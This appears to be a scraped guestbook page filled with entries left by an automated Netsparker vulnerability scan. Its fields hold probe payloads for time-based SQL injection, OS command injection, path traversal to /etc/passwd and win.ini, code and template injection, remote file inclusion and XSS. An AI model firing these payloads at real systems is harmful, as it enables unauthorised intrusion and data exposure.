\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n 1));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n expr 268409241 - 2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n 1);SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n 1;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n &ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n '&ping -c 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n \"&ping -c 25 127.0.0.1 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DBA

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DB9

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n &expr 268409241 - 2 &\r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n '&expr 268409241 - 2 &'\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \"&expr 268409241 - 2 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

[ns](javascript:netsparker(0x003D91);)

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x003D8D)+'

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D8B);

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D89)

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ping -c 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x003D87),'

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

\\';netsparker(0x003D85);///

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -c 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -c 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x003D83)+\"

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

